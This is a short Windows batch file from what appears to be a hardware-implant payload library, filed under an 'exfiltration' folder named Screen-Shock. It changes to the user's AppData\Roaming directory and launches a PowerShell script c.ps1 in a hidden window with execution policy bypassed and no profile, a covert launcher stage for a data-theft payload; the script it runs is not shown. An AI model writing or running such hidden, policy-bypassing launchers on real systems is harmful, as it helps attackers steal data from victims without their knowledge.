omg-payloads/payloads/library/exfiltration/Screen-Shock/I.bat

4 lines
136 B
Batchfile

@echo off
powershell -Command "& {cd "$env:userprofile\AppData\Roaming"; powershell -w h -NoP -NonI -Ep Bypass -File "c.ps1"}"
pause